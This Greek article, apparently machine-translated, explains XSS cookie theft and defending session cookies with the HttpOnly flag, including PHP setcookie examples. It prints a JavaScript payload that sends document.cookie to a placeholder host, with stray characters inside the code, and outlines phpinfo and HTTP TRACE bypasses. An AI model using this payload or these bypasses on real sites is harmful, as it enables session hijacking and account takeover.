Με την άνοδο των υπηρεσιών www, όλο και περισσότερες εφαρμογές έχουν μετατοπιστεί σε δομές B/S, έτσι ώστε μια ποικιλία υπηρεσιών ιστού να είναι προσβάσιμη με ένα μόνο πρόγραμμα περιήγησης, αλλά αυτό οδηγεί επίσης όλο και περισσότερο σε όλο και περισσότερα προβλήματα ασφάλειας ιστού. Η υπηρεσία www βασίζεται στο πρωτόκολλο Http, το Http είναι ένα πρωτόκολλο χωρίς κατάσταση, επομένως για τη μετάδοση πληροφοριών μεταξύ των περιόδων σύνδεσης, είναι αναπόφευκτη η χρήση cookies ή περιόδων σύνδεσης και άλλων τεχνολογιών για την επισήμανση της κατάστασης του επισκέπτη και είτε πρόκειται για cookie είτε για περίοδο λειτουργίας, εφαρμόζεται γενικά με τη χρήση cookies (Η περίοδος λειτουργίας επισημαίνεται στην πραγματικότητα με ένα διακριτικό στο cookie του προγράμματος περιήγησης, Ο διακομιστής αποκτά αυτό το διακριτικό και ελέγχει τη νομιμότητα και δεσμεύει την αντίστοιχη κατάσταση που είναι αποθηκευμένη στον διακομιστή με το πρόγραμμα περιήγησης), έτσι ώστε αναπόφευκτα να εστιάζει στο cookie με ασφάλεια, εφόσον λαμβάνεται αυτό το cookie, μπορεί να αποκτηθεί η ταυτότητα άλλων, κάτι που είναι υπέροχο για τους εισβολείς, ειδικά όταν το ληφθέν cookie ανήκει σε ένα άτομο με υψηλά προνόμια, όπως ένας διαχειριστής, η ζημιά είναι ακόμη μεγαλύτερη. Μεταξύ των διαφόρων ζητημάτων ασφάλειας ιστού, η ευπάθεια XSS είναι ιδιαίτερα επικίνδυνη. Για εφαρμογές, από τη στιγμή που υπάρχει μια ευπάθεια XSS, σημαίνει ότι άλλοι μπορούν να εκτελέσουν αυθαίρετα σενάρια JS στο πρόγραμμα περιήγησής σας και εάν η εφαρμογή είναι ανοιχτού κώδικα ή οι λειτουργίες είναι δημόσιες, άλλοι μπορούν να χρησιμοποιήσουν το Ajax για να χρησιμοποιήσουν αυτές τις λειτουργίες, αλλά η διαδικασία είναι συχνά δυσκίνητη, ειδικά αν θέλετε να αποκτήσετε απευθείας την ταυτότητα κάποιου άλλου για περιστασιακή περιήγηση. Για εφαρμογές μη ανοιχτού κώδικα, όπως το υπόβαθρο ιστού ορισμένων μεγάλων ιστότοπων (ένα σημαντικό χαρακτηριστικό του web2.0 είναι ο μεγάλος αριθμός αλληλεπιδράσεων, οι χρήστες συχνά χρειάζεται να αλληλεπιδρούν με τους διαχειριστές στο παρασκήνιο, όπως αναφορές σφαλμάτων ή παράδοση πληροφοριών κ.λπ.), αν και μπορεί να υπάρχουν ευπάθειες δέσμης ενεργειών μεταξύ τοποθεσιών λόγω της ύπαρξης αλληλεπίδρασης, αλλά λόγω της έλλειψης κατανόησης του παρασκηνίου, είναι αδύνατο να κατασκευαστεί τέλειος κώδικας ajax για χρήση, ακόμα κι αν μπορείτε να χρησιμοποιήσετε το js για να αποκτήσετε τον κώδικα φόντου και να τον επιστρέψετε για ανάλυση, αλλά η διαδικασία είναι επίσης δυσκίνητη και όχι κρυφή. Προς το παρόν, είναι πολύ αποτελεσματικό να χρησιμοποιήσετε την ευπάθεια xss για να αποκτήσετε cookies ή πειρατεία περιόδου σύνδεσης, να αναλύσετε συγκεκριμένα τον έλεγχο ταυτότητας της εφαρμογής και, στη συνέχεια, να χρησιμοποιήσετε ορισμένες τεχνικές, ακόμη και να αποκτήσετε μόνιμα την ταυτότητα του άλλου μέρους, ακόμη και αν το άλλο μέρος βγει από το πρόγραμμα. Πώς λοιπόν να αποκτήσετε παραβίαση cookie ή περιόδου σύνδεσης; Στο αντικείμενο εγγράφου στο πρόγραμμα περιήγησης, αποθηκεύονται οι πληροφορίες cookie και το cookie μπορεί να ανακτηθεί χρησιμοποιώντας το js, εφόσον λαμβάνετε αυτό το cookie, μπορείτε να έχετε την ταυτότητα κάποιου άλλου. Μια τυπική δήλωση επίθεσης XSS είναι η εξής:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Αντιγραφή κώδικα Ορισμένες εφαρμογές ενδέχεται να υιοθετήσουν τεχνικές δέσμευσης προγράμματος περιήγησης για την αντιμετώπιση αυτού του ζητήματος, όπως η σύνδεση cookie με τον παράγοντα χρήστη του προγράμματος περιήγησης και να θεωρήσουν το cookie άκυρο μόλις ανακαλυφθεί. Αυτή η μέθοδος έχει αποδειχθεί αναποτελεσματική, διότι όταν ο εισβολέας κλέβει το cookie, πρέπει να έχει αποκτήσει ταυτόχρονα τον παράγοντα χρήστη. Υπάρχει επίσης ένα άλλο αυστηρό που δεσμεύει τα cookies με το Remote-addr (στην πραγματικότητα, είναι συνδεδεμένο με IP, αλλά ορισμένα προγράμματα έχουν προβλήματα με τη μέθοδο απόκτησης IP, κάτι που οδηγεί επίσης σε φειδώ), αλλά αυτό φέρνει μια πολύ κακή εμπειρία χρήστη, η αλλαγή IP είναι κάτι συνηθισμένο, όπως η εργασία και το σπίτι είναι 2 IP, επομένως αυτή η μέθοδος συχνά δεν υιοθετείται. Επομένως, οι επιθέσεις που βασίζονται σε cookie είναι πολύ δημοφιλείς τώρα και είναι εύκολο να αποκτήσετε την κατάσταση διαχειριστή της εφαρμογής σε ορισμένους ιστότοπους web 2.0. Πώς διατηρούμε ασφαλή τα ευαίσθητα cookies μας; Μέσω της παραπάνω ανάλυσης, λαμβάνονται γενικά cookies από αντικείμενα εγγράφων και πρέπει απλώς να κάνουμε τα ευαίσθητα cookies αόρατα στο έγγραφο του προγράμματος περιήγησης. Ευτυχώς, τα προγράμματα περιήγησης αποδέχονται πλέον γενικά μια παράμετρο που ονομάζεται HttpOnly κατά τη ρύθμιση των cookies, όπως και άλλες παραμέτρους όπως ο τομέας, μόλις οριστεί αυτό το HttpOnly, δεν θα βλέπετε το cookie στο αντικείμενο εγγράφου του προγράμματος περιήγησης και το πρόγραμμα περιήγησης δεν θα επηρεαστεί με κανέναν τρόπο κατά την περιήγηση, επειδή το cookie θα σταλεί στην κεφαλίδα του προγράμματος περιήγησης (συμπεριλαμβανομένου του ajax). Οι εφαρμογές γενικά δεν λειτουργούν αυτά τα ευαίσθητα cookies στο js, χρησιμοποιούμε το HttpOnly για ορισμένα ευαίσθητα cookies και δεν ορίζουμε ορισμένα cookies που πρέπει να λειτουργούν με js στην εφαρμογή, γεγονός που διασφαλίζει την ασφάλεια των πληροφοριών cookie και διασφαλίζει την εφαρμογή. Για περισσότερες πληροφορίες σχετικά με το HttpOnly, δείτε http://msdn2.microsoft.com/en-us/library/ms533046.aspx. Η κεφαλίδα για τη ρύθμιση των cookies στο πρόγραμμα περιήγησής σας είναι η εξής:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Αντιγραφή κώδικα Λαμβάνοντας ως παράδειγμα την php, η υποστήριξη για το HttpOnly έχει προστεθεί στη συνάρτηση Setcookie στην php 5.2, για παράδειγμα: setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,TRUE); Μπορείτε να ορίσετε το abc cookie σε HttpOnly και το έγγραφο δεν θα είναι ορατό σε αυτό το cookie. Επειδή η συνάρτηση setcookie είναι ουσιαστικά μια κεφαλίδα, μπορείτε επίσης να χρησιμοποιήσετε την κεφαλίδα για να ορίσετε HttpOnly. Στη συνέχεια, χρησιμοποιήστε το document.cookie για να δείτε ότι αυτό το cookie δεν είναι πλέον διαθέσιμο. Χρησιμοποιούμε αυτήν τη μέθοδο για την προστασία του Sessionid, όπως ορισμένα cookies ελέγχου ταυτότητας για έλεγχο ταυτότητας, έτσι ώστε να μην χρειάζεται να ανησυχούμε για την απόκτηση ταυτότητας, κάτι που έχει μεγάλη σημασία για ορισμένα προγράμματα παρασκηνίου και webmail για τη βελτίωση της ασφάλειας. Όταν χρησιμοποιούμε ξανά την παραπάνω μέθοδο επίθεσης, μπορούμε να δούμε ότι δεν μπορούμε πλέον να αποκτήσουμε ευαίσθητα cookies που ορίσαμε ως HttpOnly. Ωστόσο, μπορεί επίσης να φανεί ότι το HttpOnly δεν είναι παντοδύναμο, πρώτα απ 'όλα, δεν μπορεί να λύσει το πρόβλημα του xss, εξακολουθεί να μην μπορεί να αντισταθεί στην επίθεση ορισμένων υπομονετικών χάκερ, ούτε μπορεί να εμποδίσει τους εισβολείς να κάνουν υποβολές ajax, και ακόμη και ορισμένοι διακομιστής μεσολάβησης που βασίζονται σε xss έχουν εμφανιστεί, αλλά ήταν δυνατό να αυξηθεί το όριο των επιθέσεων, τουλάχιστον οι επιθέσεις xss δεν ολοκληρώνονται από κάθε παιδί σεναρίου και άλλες μέθοδοι επίθεσης οφείλονται σε ορισμένους περιβαλλοντικούς και τεχνικούς περιορισμούς. Δεν είναι τόσο συνηθισμένο όσο η κλοπή μπισκότων. Το HttpOnly μπορεί επίσης να εκμεταλλευτεί ορισμένα τρωτά σημεία ή να ρυθμίσει το Bypass, το βασικό πρόβλημα είναι ότι εφόσον μπορείτε να λάβετε την κεφαλίδα cookie που αποστέλλεται από το πρόγραμμα περιήγησης. Για παράδειγμα, η προηγούμενη επίθεση ανίχνευσης Http μπορεί να επιστρέψει το cookie στην κεφαλίδα σας και αυτή η επίθεση μπορεί να ολοκληρωθεί χρησιμοποιώντας ajax ή flash, το οποίο έχει επίσης επιδιορθωθεί σε ajax και flash. Ένα άλλο αξιοσημείωτο παράδειγμα πιθανής παράκαμψης στη διαμόρφωση ή την εφαρμογή είναι το phpinfo, όπως γνωρίζετε, το phpinfo θα εμφανίσει την κεφαλίδα http που αποστέλλεται από το πρόγραμμα περιήγησης, συμπεριλαμβανομένων των πληροφοριών ελέγχου ταυτότητας που προστατεύουμε, και αυτή η σελίδα υπάρχει συχνά σε διάφορους ιστότοπους, αρκεί να χρησιμοποιήσετε το ajax για να λάβετε τη σελίδα phpinfo, αφαιρέστε το τμήμα που αντιστοιχεί στην κεφαλίδα της κεφαλίδας για να λάβετε το cookie. Οι ατέλειες σε ορισμένες εφαρμογές μπορούν επίσης να οδηγήσουν σε διαρροή κεφαλίδας, η οποία μπορεί να προσβληθεί εξίσου με μια σελίδα που προστατεύεται από βασική επαλήθευση. Το HttpOnly υποστηρίζεται καλύτερα στον IE 6 και άνω, και χρησιμοποιείται ευρέως σε εφαρμογές όπως το Hotmail, και έχει επιτύχει σχετικά καλά αποτελέσματα ασφαλείας.
|